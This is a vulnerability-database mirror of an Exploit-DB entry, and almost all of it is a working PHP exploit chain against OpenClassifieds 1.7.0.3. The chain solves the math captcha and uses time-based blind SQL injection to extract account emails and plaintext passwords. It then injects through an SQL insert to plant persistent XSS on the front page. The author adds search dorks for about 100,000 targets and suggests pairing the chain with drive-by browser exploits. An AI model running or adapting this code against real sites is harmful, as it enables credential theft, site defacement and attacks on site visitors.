Lucene search
K

OpenClassifieds 1.7.0.3 - Chained: Captcha Bypass / SQL Injection / Persistent Cross-Site Scripting on FrontPage

🗓️ 28 Dec 2010 00:00:00Reported by Michael BrooksType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 35 Views

OpenClassifieds 1.7.0.3 - Chained: Captcha Bypass / SQL Injection / Persistent Cross-Site Scripting on FrontPage. Exploit chain bypasses captcha, performs SQL injection, and achieves persistent XSS on front page. Vulnerabilities allow exploitation regardless of server configurations. Blind SQL injection also present

Code
Author:Michael Brooks (Rook)<br>
Application:OpenClassifieds 1.7.0.3<br>
download: http://open-classifieds.com/download/<br>
Exploit chain:captcha bypass->sqli(insert)->persistant xss on front page<br>
If registration is required an extra link in the chain is added:<br>
Exploit chain:blind sqli(select)->captcha
bypass->sqli(insert)->persistant xss on front page<br>
sites with SEO url's enabled:<br>
"powerd by Open Classifieds" inurl:"publish-a-new-ad.htm"  (85,000 results)<br>
or default urls:<br>
"powerd by Open Classifieds"  inurl:"item-new.php" (16,500 results)<br>
Total sites: ~100,000<br>
<br>
<br>
The target must be a link to the document root of OpenClassifieds<br>
(If the exploit doesn't immediately reload then blind sqli is
required,  which will take a few minutes  ;)<br>
<form>
	Target:  <input size=128 name=target value="http://localhost/"><br>
	Payload:<input size=128 name=xss value="<script>alert('xss')</script>"><br>
	<input type=submit value="Attack">
</form><br>
<?php
/*
 Foreword:
 I have always wanted to write a chained exploit with a captcha
bypass,  so I couldn't miss this
 opportunity.    I spent a bit more effort on this exploit even though
there aren't very many hits (around
 100k starts to be worth while). Regardless, I dug into the
application and pulled out the vulnerabilities
 needed to Finnish my masterpiece.  Usually when I write a Remote Code
Execution exploit for a web
 app you guys just deface the site or throw up drive-by attacks.  So I
figured, persistent XSS on the
 front page is equally as valuable,  especially with yet another IE
0-day in the wild.  The chain is within
 the application its self.  Process sand-boxing like
chroot/AppArmor/SELinux/Application-V(MS)
 doesn't come into play.  It works regardless of the operating system
or configurations (Suhosin,
 safemode, magic_quotes_gpc and register_globals doesn't come into
play). I focused on the
 application's internal configurations that could break the
exploitation process.  In this case seo friendly
 urls and requiring an account before posting.

 "This web application [OpenClassifieds] is developed to be fast,
light, secure and SEO friendly."
 Usually when I see that an application claims to be secure,  they
really don't know what the fuck they
 are doing.  OpenClassifieds' Security model is deeply flawed and as a
result there are MANY
 vulnerabilities in this code base which allowed me to string a few
cool ones together to make an
 interesting exploit.    OpenClassifieds is sanitizing everything on
input using cG() and cP(),  these
 functions are used to perform a mysql_real_escape_string()  on all
GET and POST variables.  Most
 servers aren't using an exotic character set so from a security stand
point this is exactly identical to
 magic_quotes_gpc.  So I dusted off my usual magic_quotes_gpc auditing
tricks,  look for
 stripslashes(),base64decode(),urldecode(),html_entity_decode() lack
of quote marks around variables
 in a query,  ect...  Sanitation must ALWAYS be done at the time of
use, parametrized queries are a
 good example of this.   Its impossible to account for all the ways a
variable can be mangled once it
 enters a program and if you Sanitize input when it first enters the
program there will be cases where it
 will become dangerous again.   This isn't only a problem for SQLi,
its also a problem for XSS.  I am
 inserting JS into the database, which isn't a vulnerablity,  but
printing it, is persistant XSS.

 The blind sql injection is a bit strange.  I can't use white space or
commas,  which is a pain.  I had to
 rewrite my general purpose Blind SQLi Class to accommodate.   A
binary search is used to greatly
 speed up the blind sqli attack.
 (which I also used in my php-nuke exploit:
http://www.exploit-db.com/exploits/12510/)

 Special thanks to Reiners for this sqli filter evasion cheat sheet:
 http://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/
 Here are some changes I had to make to my blind sql injection class:
 "select substring('abc',1,1)"=>"select substring('abc' from 1 for 1)"
 if(greatest(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)"
=>"case ".sprintf($question,"0+".$cur).">".$pos." when true  then
sleep(".$this->timeout.") end"

 CWE Violations leveraged by this exploit:
 CWE-256: Plaintext Storage of a Password
 CWE-804: Guessable CAPTCHA  (I asked that they create this CWE when I
ran into a guy that works for Mitre.)
 CWE-89: SQL Injection x2
 CWE-79: Cross-site Scripting (Persistant)
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Vulnerable captcha:
openclassifieds/includes/common.php line 291
function encode_str ($input){//converts the input into Ascii HTML, to
ofuscate a bit
    for ($i = 0; $i < strlen($input); $i++) {
         $output .= "&#".ord($input[$i]).';';
    }
    //$output = htmlspecialchars($output);//uncomment to escape sepecial chars
    return $output;
}
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------
function mathCaptcha(){//generates a captcha for the form
	$first_number=mt_rand(1, 94);//first operation number
	$second_number=mt_rand(1, 5);//second operation number

	$_SESSION["mathCaptcha"]=($first_number+$second_number);//operation result

	$operation=" <b>".encode_str($first_number ." + ".
$second_number)."</b>?";//operation codifieds

	echo _("How much is")." ".$operation;
}
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Vulnerable persistant xss and sqli
/content/item-new.php line 41
$ocdb->insert(TABLE_PREFIX."posts
(idCategory,type,title,description,price,idLocation,place,name,email,phone,password,ip,hasImages)","".
												cP("category").",".cP("type").",'$title','$desc',$price,$location,'".cP("place")."','".cP("name")."','$email','".cP("phone")."','$post_password','$client_ip',$hasImages");
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------
*/
set_time_limit(0);
error_reporting(0);

function main(){
	if($_REQUEST['target'] && $_REQUEST['xss']){
		if(xssFrontPage($_REQUEST['target'],$_REQUEST['xss'])){
			print("<b>Persistant XSS attack was sucessful.</b>");
		}else{
			print("<b>Persistant XSS attack has failed.</b>");
		}
	}
}

//w00t, I can crack your captcha with 4 lines of code!
//It would have been 3 if i had used eval(),  but that would be a
vulnerability ;)
function breakCaptcha($page){
	preg_match("/\<b\>(.*)\<\/b\>\?/",$page,$match);
	$code=html_entity_decode($match[1]);
	$math=new EvalMath();
	return $math->evaluate($code);
}

function xssFrontPage($url,$xss){
	$h=new http_client();
	$page=$h->send($url."/content/item-new.php");
	#Authentication required.
	if(strstr($page,'Location: http')){#Do we need authentication?
		print "Blind SQL Injection required.<br>";
		$sex=new openclassifieds_blind_sql_injection($url."/");
		if($sex->test_target()){
			print "Target is vulnerable to attack!<br>";
			$pass=$sex->find_string("password");
			print "Found Password:<b>$pass</b><br>";
			$email=$sex->find_string("email");
			print "Found email:<b>$email</b><br>";
			$h->postdata="email=$email&password=$pass&submit=loading...";
			$h->send($url."/content/account/login.php");
			$h->postdata='';
			$page=$h->send($url."/");
		}else{
			die("This target is not exploitable!<br>");
		}	
	}else{
		$email="[email protected]";
	}
	$code=breakCaptcha($page);
	$payload=blind_sql_injection::charEncode($xss);
	$pwd=mt_rand(1,9999999);//Strong password :p
	$fake_phone=mt_rand(1111111111,9999999999);
	$fake_email=blind_sql_injection::charEncode(mt_rand()."@".mt_rand().".com");
	$fake_ip=blind_sql_injection::charEncode(mt_rand(20,254).".".mt_rand(20,254).".".mt_rand(20,254).".".mt_rand(20,254));
	//Stored xss in the description,place and name columns.
	$inj="36,".mt_rand(1,20).",".$payload.",".mt_rand().",".mt_rand(2,500).",".mt_rand(1,10).",".mt_rand().",".mt_rand().",".$fake_email.",".$fake_phone.",".$pwd.",".$fake_ip.",0)#";
        $h->postdata="category=".$inj."&type=0&place=home&title=title&price=1&description=desc&name=name&email=".$email."&math=".$code;
	$h->send($url."/content/item-new.php");
	$h->postdata='';
	//I could use sql injection to find the id,  but thats noisy and slow.
	$rss=$h->send($url."/content/feed-rss.php");
	//seo friendly
	if(preg_match("/\-(.*)\.htm\<\/link\>/",$rss,$match)){
		$guess=$match[1];
	}else if(preg_match("/item\=(.*)\&type/",$rss,$match)){
		$guess=$match[1];
	}else{
		$guess=0;
	}
	$guess++;
	$page='';
	$test=false;
	#Now lets activate the XSS post.
	for($x=$guess;$x-$guess<=128&&!$test;$x++){
		$page=$h->send($url."/content/item-manage.php?pwd=".$pwd."&post=".$x."&action=confirm");
		$test=strstr($page,"<script language='JavaScript'
type='text/javascript'>alert('");
	}
	return $test;
}

//http://localhost/openclassifieds/?location=%26%23039;/**/or/**/sleep(10)/**/or/**/1=%26%23039;
//The blind_sql_injeciton calss is a general exploit framework that we
are inheriting.
class openclassifieds_blind_sql_injection extends blind_sql_injection {
    //This is the blind sql injection request.
    function query($check){
        //build the http request to Inject a query:
	//"%26%23039;" is a single quote encoded with
urlencode(htmlencode("'",ENT_QUOTES));
	$payload="%26%23039; or (select ".$check." from oc_accounts where
active=1 limit 1) or 1=%26%23039;";
	#white space becomes and underscore "_" so it must be replaced.
	$payload=str_replace(" ","/**/",$payload);
	$this->set_get("location=".$payload);
    }
}

//This is a very efficient blind sql injection class.
class blind_sql_injection{
    var $url, $backup_url, $result, $http, $request_count, $timeout;
    function blind_sql_injection($url,$timeout=10){
        $this->request_count=0;
        $this->url=$url;
        $this->backup_url=$url;
        $this->http=new http_client();
        $this->timeout=$timeout;
    }
    function set_get($get){
        $this->url=$this->url."?".$get;
    }
    function set_referer($referer){
        $this->http->referer=$referer;
    }
    function set_post($post){
        $this->http->postdata=$post;
    }
    function test_target(){
        return $this->send("case true when true then
sleep(".$this->timeout.") when false then sleep(0)
end")&&!$this->send("case false when true then
sleep(".$this->timeout.") when false then sleep(0) end");
	#return $this->send("if(true,sleep(".$this->timeout."),0)")&&!$this->send("if(false,sleep(".$this->timeout."),0)");
    }
    function num_to_hex($arr){
        $ret='';
        foreach($arr as $a){
            if($a<=9){
                $ret.=$a;
            }else{
                $ret.=chr(87+$a);
            }
        }
        return $ret;
    }
    ###These where not ported to the non-comma version.
    //Looking for a string of length 32 and base 16 in ascii chars.
    #function find_md5($column){
     #   return
$this->num_to_hex($this->bin_finder(16,32,"conv(substring($column,%s,1),16,10)"));
    #}
    #function find_sha1($column){
     #   return
$this->num_to_hex($this->bin_finder(16,40,"conv(substring($column,%s,1),16,10)"));
    #}
    //Look for an ascii string of arbitrary length.
    function find_string($column){
        $ret='';
        //A length of zero means we are looking for a null byte
terminated string.
        $result=$this->bin_finder(128,0,"ascii(substring($column from
%s for 1))");
        foreach($result as $r){
            $ret.=chr($r);
        }
        return strrev($ret);
    }
    //query() is a method that generates the sql injection request
    function query($check){
        //This function must be overridden.
    }
    function recheck($result,$question,$base){
       $this->bin_finder($base,1,$question,$start);
       //Force a long timeout.
       $tmp_timeout=$this->timeout;
       if($this->timeout<10){
          $this->timeout=10;
       }else{
          $this->timeout=$this->timeout*2;
       }
       $l=1;
       foreach($result as $r){
          if($this->send("if(".sprintf($question,$l)."!=".$r.",sleep(".$this->timeout."),0)")){
              $result[]=$b;
              break;
          }
          $l++;
       }
       $this->timeout=$tmp_timeout;
    }
    function linear_finder($base,$length,$question){
        for($l=1;$l<=$length;$l++){
            for($b=0;$b<$base;$b++){

if($this->send("if(".sprintf($question,$l)."=".$b.",sleep(".$this->timeout."),0)")){
                    $result[]=$b;
                    break;
                }
            }
        }
    }
    #Binary search for mysql based sql injection.
    function bin_finder($base,$length,$question){
        $start_pos=1;
        $result='';
        for($cur=$start_pos;$cur<=$length||$length==0;$cur++){
            $n=$base-1;
            $low=0;
            $floor=$low;
            $high=$n-1;
            $pos= $low+(($high-$low)/2);
            $found=false;
            while($low<=$high&&!$found){
                #asking the sql database if the current value is
greater than $pos
                if($this->send("case
".sprintf($question,"0+".$cur).">".$pos." when true  then
sleep(".$this->timeout.") end")){
		#if($this->send("if(greatest(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)")){
                    #if this is true then the value must be the modulus.
                    if($pos==$n-1){
                       $result[]=$pos+1;
                       $found=true;
                    }else{
                        $low=$pos+1;
                    }
                #asking the sql database if the current value is less than $pos
                }else if($this->send("case
".sprintf($question,"0+".$cur)."<".$pos." when true then
sleep(".$this->timeout.") end")){
		#}else if($this->send("if(least(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)")){
                   #if this is true the value must be zero, or in the
case of ascii,  a null byte.
                   if($pos==$floor+1){
                        $found=true;
                        #We have found the null terminator so we have
finnished our search for a string.
                        if($length==0){
                            $length=-1;
                        }else{
                            $result[]=$pos-1;
                        }
                    }else{
                        $high=$pos-1;
                    }
                }else{
                    #both greater than and less then where asked, so
so then the answer is our guess $pos.
                    $result[]=$pos;
                    $found=true;
                }
                $pos=$low+(($high-$low)/2);
            }
            print(".");
        }
        return $result;
    }
    //Fire off the request
    function send($quesiton){
        //build the injected query.
        $this->query($quesiton);
        $start=time();
        $resp=$this->http->send($this->url);
        //backup_url is for set_get()
        $this->url=$this->backup_url;
        $this->request_count++;
        return (time()-$start>=$this->timeout);
    }
    //retroGod RIP
   function charEncode($string){
	$char="char(";
	$size=strlen($string);
	for($x=0;$x<$size;$x++){
		$char.=ord($string[$x]).",";
	}
	$char[strlen($char)-1]=")%00";
	return $char;
   }
}

//General purpose http client that works on a default php install.
(curl not required)
class http_client{
    var $proxy_ip='', $proxy_port='', $proxy_name='', $proxy_pass='',
$referer='',$cookie='',$postdata='';
    function send($loc){
         //overload function polymorphism between gets and posts
         $url=parse_url($loc);
         if(!isset($url['port'])){
            $url['port']=80;
        }
         $ua='Firefox';
         if($this->proxy_ip!=''&&$this->proxy_port!=''){
            $fp = pfsockopen( $this->proxy_ip, $this->proxy_port,
&$errno, &$errstr, 120 );
            $url['path']=$url['host'].':'.$url['port'].$url['path'];
         }else{
            $fp = fsockopen( $url['host'], $url['port'], &$errno,
&$errstr, 120 );
         }
         if( !$fp ) {
            print "$errstr ($errno)<br>\nn";
            return false;
         } else {
	    if(@!$url['query']){
		$url['query']='';
	    }
            if( $this->postdata=='' ) {
                $request="GET ".$url['path']."?".$url['query']." HTTP/1.1\r\n";
            } else {
                $request="POST ".$url['path']."?".$url['query']." HTTP/1.1\r\n";
            }
            if($this->proxy_name!=''&&$this->proxy_pass!=''){
                $request.="Proxy-Authorization: Basic
".base64_encode($this->proxy_name.":".$this->proxy_pass)."\r\n\r\n";
            }
            $request.="Host: ".$url['host'].":".$url['port']."\r\n";
            $request.="User-Agent: ".$ua."\r\n";
            $request.="Accept: text/plain\r\n";
            if($this->referer!=''){
                $request.="Referer: ".$this->referer."\r\n";
            }
            $request.="Connection: Close\r\n";
            if($this->cookie!=''){
                $request.="Cookie: ".$this->cookie."\r\n" ;
            }
            if( $this->postdata!='' ) {
                $strlength = strlen( $this->postdata );
                $request.="Content-type:
application/x-www-form-urlencoded\r\n" ;
                $request.="Content-length: ".$strlength."\r\n\r\n";
                $request.=$this->postdata;
            }
            fputs( $fp, $request."\r\n\r\n" );
            $output='';
	    while( !feof( $fp ) ) {
                   $output .= fgets( $fp, 1024 );
	    }
            fclose( $fp );
	    $header=explode("\r\n\r\n",$output);
	    if(strstr($header[0],"Set-Cookie: ") && $this->cookie==''){
		$cookie=explode("Set-Cookie: ",$header[0]);
		$cookie=explode("\n",$cookie[1]);
		$cookie=explode(";",$cookie[0]);
		$this->cookie=trim($cookie[0]);
	    }
	    if(strstr($output,"Query:")){
		die($output);
	    }
	    return $output;
         }
    }
    //Use a http proxy
    function proxy($proxy){ //user:pass@ip:port
        $proxyAuth=explode('@',$proxy);
        if(isset($proxyAuth[1])){
            $login=explode(':',$proxyAuth[0]);
            $this->proxy_name=$login[0];
            $this->proxy_pass=$login[1];
            $addr=explode(':',$proxyAuth[1]);
        }else{
            $addr=explode(':',$proxy);
        }
         $this->proxy_ip=$addr[0];
        $this->proxy_port=$addr[1];
    }
    //Parses the results from a PHP error to use as a path disclosure.
    function getPath($url,$pops=1){
        $html=$this->send($url);
        //Regular error reporting:
        $resp=explode("array given in <b>",$html);
        if(isset($resp[1])){
            $resp = explode("</b>",$resp[1]);
        }else{
            //xdebug's error reporting:
            $resp=explode("array given in ",$html);
            if(isset($resp[1])){
                $resp = explode(" ",$resp[1]);
            }else{
                $resp[0]=false;
            }
        }
        $path=$resp[0];
        //Can't use dirname()
        if(strstr($path,"\\")){
           $p=explode("\\",$path);
           for($x=0;$x<$pops;$x++){
               array_pop($p);
           }
           $path=implode("\\",$p);
        }else{
           $p=explode("/",$path);
           for($x=0;$x<$pops;$x++){
               array_pop($p);
           }
           $path=implode("/",$p);
        }
        return $path;
    }
    //Grab the server type from the http header.
    function getServer($url){
        $resp=$this->send($url);
        $header=explode("Server: ",$resp);
        $server=explode("\n",$header[1]);
        return $server[0];
    }
}

#used to evaluate the captcha. 1+2=3
 class EvalMath {

                var $suppress_errors = false;
                var $last_error = null;

                var $v = array('e'=>2.71,'pi'=>3.14); // variables
(and constants)
                var $f = array(); // user-defined functions
                var $vb = array('e', 'pi'); // constants
                var $fb = array(  // built-in functions
                        'sin','sinh','arcsin','asin','arcsinh','asinh',
                        'cos','cosh','arccos','acos','arccosh','acosh',
                        'tan','tanh','arctan','atan','arctanh','atanh',
                        'sqrt','abs','ln','log');

                function EvalMath() {
                        // make the variables a little more accurate
                        $this->v['pi'] = pi();
                        $this->v['e'] = exp(1);
                }

                function e($expr) {
                        return $this->evaluate($expr);
                }

                function evaluate($expr) {
                        $this->last_error = null;
                        $expr = trim($expr);
                        if (substr($expr, -1, 1) == ';') $expr =
substr($expr, 0, strlen($expr)-1); // strip semicolons at the end
                        //===============
                        // is it a variable assignment?
                        if (preg_match('/^\s*([a-z]\w*)\s*=\s*(.+)$/',
$expr, $matches)) {
                                if (in_array($matches[1], $this->vb))
{ // make sure we're not assigning to a constant
                                        return $this->trigger("cannot
assign to constant '$matches[1]'");
                                }
                                if (($tmp =
$this->pfx($this->nfx($matches[2]))) === false) return false; // get
the result and make sure it's good
                                $this->v[$matches[1]] = $tmp; // if
so, stick it in the variable array
                                return $this->v[$matches[1]]; // and
return the resulting value
                        //===============
                        // is it a function assignment?
                        } elseif
(preg_match('/^\s*([a-z]\w*)\s*\(\s*([a-z]\w*(?:\s*,\s*[a-z]\w*)*)\s*\)\s*=\s*(.+)$/',
$expr, $matches)) {
                                $fnn = $matches[1]; // get the function name
                                if (in_array($matches[1], $this->fb))
{ // make sure it isn't built in
                                        return $this->trigger("cannot
redefine built-in function '$matches[1]()'");
                                }
                                $args = explode(",",
preg_replace("/\s+/", "", $matches[2])); // get the arguments
                                if (($stack = $this->nfx($matches[3]))
=== false) return false; // see if it can be converted to postfix
                                for ($i = 0; $i<count($stack); $i++) {
// freeze the state of the non-argument variables
                                        $token = $stack[$i];
                                        if (preg_match('/^[a-z]\w*$/',
$token) and !in_array($token, $args)) {
                                                if
(array_key_exists($token, $this->v)) {
                                                        $stack[$i] =
$this->v[$token];
                                                } else {
                                                        return
$this->trigger("undefined variable '$token' in function definition");
                                                }
                                        }
                                }
                                $this->f[$fnn] = array('args'=>$args,
'func'=>$stack);
                                return true;
                        //===============
                        } else {
                                return $this->pfx($this->nfx($expr));
// straight up evaluation, woo
                        }
                }

                function vars() {
                        $output = $this->v;
                        unset($output['pi']);
                        unset($output['e']);
                        return $output;
                }

                function funcs() {
                        $output = array();
                        foreach ($this->f as $fnn=>$dat)
                                $output[] = $fnn . '(' . implode(',',
$dat['args']) . ')';
                        return $output;
                }

                //===================== HERE BE INTERNAL METHODS
====================\\

                // Convert infix to postfix notation
                function nfx($expr) {

                        $index = 0;
                        $stack = new EvalMathStack;
                        $output = array(); // postfix form of
expression, to be passed to pfx()
                        $expr = trim(strtolower($expr));

                        $ops   = array('+', '-', '*', '/', '^', '_');
                        $ops_r =
array('+'=>0,'-'=>0,'*'=>0,'/'=>0,'^'=>1); // right-associative
operator?
                        $ops_p =
array('+'=>0,'-'=>0,'*'=>1,'/'=>1,'_'=>1,'^'=>2); // operator
precedence

                        $expecting_op = false; // we use this in
syntax-checking the expression
                                                                   //
and determining when a - is a negation

                        if (preg_match("/[^\w\s+*^\/()\.,-]/", $expr,
$matches)) { // make sure the characters are all good
                                return $this->trigger("illegal
character '{$matches[0]}'");
                        }

                        while(1) { // 1 Infinite Loop ;)
                                $op = substr($expr, $index, 1); // get
the first character at the current index
                                // find out if we're currently at the
beginning of a number/variable/function/parenthesis/operand
                                $ex =
preg_match('/^([a-z]\w*\(?|\d+(?:\.\d*)?|\.\d+|\()/', substr($expr,
$index), $match);
                                //===============
                                if ($op == '-' and !$expecting_op) {
// is it a negation instead of a minus?
                                        $stack->push('_'); // put a
negation on the stack
                                        $index++;
                                } elseif ($op == '_') { // we have to
explicitly deny this, because it's legal on the stack
                                        return $this->trigger("illegal
character '_'"); // but not in the input expression
                                //===============
                                } elseif ((in_array($op, $ops) or $ex)
and $expecting_op) { // are we putting an operator on the stack?
                                        if ($ex) { // are we expecting
an operator but have a number/variable/function/opening parethesis?
                                                $op = '*'; $index--;
// it's an implicit multiplication
                                        }
                                        // heart of the algorithm:
                                        while($stack->count > 0 and
($o2 = $stack->last()) and in_array($o2, $ops) and ($ops_r[$op] ?
$ops_p[$op] < $ops_p[$o2] : $ops_p[$op] <= $ops_p[$o2])) {
                                                $output[] =
$stack->pop(); // pop stuff off the stack into the output
                                        }
                                        // many thanks:
http://en.wikipedia.org/wiki/Reverse_Polish_notation#The_algorithm_in_detail
                                        $stack->push($op); // finally
put OUR operator onto the stack
                                        $index++;
                                        $expecting_op = false;
                                //===============
                                } elseif ($op == ')' and
$expecting_op) { // ready to close a parenthesis?
                                        while (($o2 = $stack->pop())
!= '(') { // pop off the stack back to the last (
                                                if (is_null($o2))
return $this->trigger("unexpected ')'");
                                                else $output[] = $o2;
                                        }
                                        if
(preg_match("/^([a-z]\w*)\($/", $stack->last(2), $matches)) { // did
we just close a function?
                                                $fnn = $matches[1]; //
get the function name
                                                $arg_count =
$stack->pop(); // see how many arguments there were (cleverly stored
on the stack, thank you)
                                                $output[] =
$stack->pop(); // pop the function and push onto the output
                                                if (in_array($fnn,
$this->fb)) { // check the argument count
                                                        if($arg_count > 1)
                                                                return
$this->trigger("too many arguments ($arg_count given, 1 expected)");
                                                } elseif
(array_key_exists($fnn, $this->f)) {
                                                        if ($arg_count
!= count($this->f[$fnn]['args']))
                                                                return
$this->trigger("wrong number of arguments ($arg_count given, " .
count($this->f[$fnn]['args']) . " expected)");
                                                } else { // did we
somehow push a non-function on the stack? this should never happen
                                                        return
$this->trigger("internal error");
                                                }
                                        }
                                        $index++;
                                //===============
                                } elseif ($op == ',' and
$expecting_op) { // did we just finish a function argument?
                                        while (($o2 = $stack->pop()) != '(') {
                                                if (is_null($o2))
return $this->trigger("unexpected ','"); // oops, never had a (
                                                else $output[] = $o2;
// pop the argument expression stuff and push onto the output
                                        }
                                        // make sure there was a function
                                        if
(!preg_match("/^([a-z]\w*)\($/", $stack->last(2), $matches))
                                                return
$this->trigger("unexpected ','");
                                        $stack->push($stack->pop()+1);
// increment the argument count
                                        $stack->push('('); // put the
( back on, we'll need to pop back to it again
                                        $index++;
                                        $expecting_op = false;
                                //===============
                                } elseif ($op == '(' and !$expecting_op) {
                                        $stack->push('('); // that was easy
                                        $index++;
                                        $allow_neg = true;
                                //===============
                                } elseif ($ex and !$expecting_op) { //
do we now have a function/variable/number?
                                        $expecting_op = true;
                                        $val = $match[1];
                                        if
(preg_match("/^([a-z]\w*)\($/", $val, $matches)) { // may be func, or
variable w/ implicit multiplication against parentheses...
                                                if
(in_array($matches[1], $this->fb) or array_key_exists($matches[1],
$this->f)) { // it's a func
                                                        $stack->push($val);
                                                        $stack->push(1);
                                                        $stack->push('(');
                                                        $expecting_op = false;
                                                } else { // it's a var
w/ implicit multiplication
                                                        $val = $matches[1];
                                                        $output[] = $val;
                                                }
                                        } else { // it's a plain old var or num
                                                $output[] = $val;
                                        }
                                        $index += strlen($val);
                                //===============
                                } elseif ($op == ')') { //
miscellaneous error checking
                                        return $this->trigger("unexpected ')'");
                                } elseif (in_array($op, $ops) and
!$expecting_op) {
                                        return
$this->trigger("unexpected operator '$op'");
                                } else { // I don't even want to know
what you did to get here
                                        return $this->trigger("an
unexpected error occured");
                                }
                                if ($index == strlen($expr)) {
                                        if (in_array($op, $ops)) { //
did we end with an operator? bad.
                                                return
$this->trigger("operator '$op' lacks operand");
                                        } else {
                                                break;
                                        }
                                }
                                while (substr($expr, $index, 1) == '
') { // step the index past whitespace (pretty much turns whitespace
                                        $index++;
       // into implicit multiplication if no operator is there)
                                }

                        }
                        while (!is_null($op = $stack->pop())) { // pop
everything off the stack and push onto output
                                if ($op == '(') return
$this->trigger("expecting ')'"); // if there are (s on the stack, ()s
were unbalanced
                                $output[] = $op;
                        }
                        return $output;
                }

                // evaluate postfix notation
                function pfx($tokens, $vars = array()) {

                        if ($tokens == false) return false;

                        $stack = new EvalMathStack;

                        foreach ($tokens as $token) { // nice and easy
                                // if the token is a binary operator,
pop two values off the stack, do the operation, and push the result
back on
                                if (in_array($token, array('+', '-',
'*', '/', '^'))) {
                                        if (is_null($op2 =
$stack->pop())) return $this->trigger("internal error");
                                        if (is_null($op1 =
$stack->pop())) return $this->trigger("internal error");
                                        switch ($token) {
                                                case '+':

$stack->push($op1+$op2); break;
                                                case '-':

$stack->push($op1-$op2); break;
                                                case '*':

$stack->push($op1*$op2); break;
                                                case '/':
                                                        if ($op2 == 0)
return $this->trigger("division by zero");

$stack->push($op1/$op2); break;
                                                case '^':

$stack->push(pow($op1, $op2)); break;
                                        }
                                // if the token is a unary operator,
pop one value off the stack, do the operation, and push it back on
                                } elseif ($token == "_") {
                                        $stack->push(-1*$stack->pop());
                                // if the token is a function, pop
arguments off the stack, hand them to the function, and push the
result back on
                                } elseif
(preg_match("/^([a-z]\w*)\($/", $token, $matches)) { // it's a
function!
                                        $fnn = $matches[1];
                                        if (in_array($fnn, $this->fb))
{ // built-in function:
                                                if (is_null($op1 =
$stack->pop())) return $this->trigger("internal error");
                                                $fnn =
preg_replace("/^arc/", "a", $fnn); // for the 'arc' trig synonyms
                                                if ($fnn == 'ln') $fnn = 'log';
                                                eval('$stack->push(' .
$fnn . '($op1));'); // perfectly safe eval()
                                        } elseif
(array_key_exists($fnn, $this->f)) { // user function
                                                // get args
                                                $args = array();
                                                for ($i =
count($this->f[$fnn]['args'])-1; $i >= 0; $i--) {
                                                        if
(is_null($args[$this->f[$fnn]['args'][$i]] = $stack->pop())) return
$this->trigger("internal error");
                                                }

$stack->push($this->pfx($this->f[$fnn]['func'], $args)); // yay...
recursion!!!!
                                        }
                                // if the token is a number or
variable, push it on the stack
                                } else {
                                        if (is_numeric($token)) {
                                                $stack->push($token);
                                        } elseif
(array_key_exists($token, $this->v)) {
                                                $stack->push($this->v[$token]);
                                        } elseif
(array_key_exists($token, $vars)) {
                                                $stack->push($vars[$token]);
                                        } else {
                                                return
$this->trigger("undefined variable '$token'");
                                        }
                                }
                        }
                        // when we're out of tokens, the stack should
have a single element, the final result
                        if ($stack->count != 1) return
$this->trigger("internal error");
                        return $stack->pop();
                }

                // trigger an error, but nicely, if need be
                function trigger($msg) {
                        $this->last_error = $msg;
                        if (!$this->suppress_errors)
trigger_error($msg, E_USER_WARNING);
                        return false;
                }
        }

        // for internal use
        class EvalMathStack {

                var $stack = array();
                var $count = 0;

                function push($val) {
                        $this->stack[$this->count] = $val;
                        $this->count++;
                }

                function pop() {
                        if ($this->count > 0) {
                                $this->count--;
                                return $this->stack[$this->count];
                        }
                        return null;
                }

                function last($n=1) {
                        return $this->stack[$this->count-$n];
                }
        }
	
main();
?>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation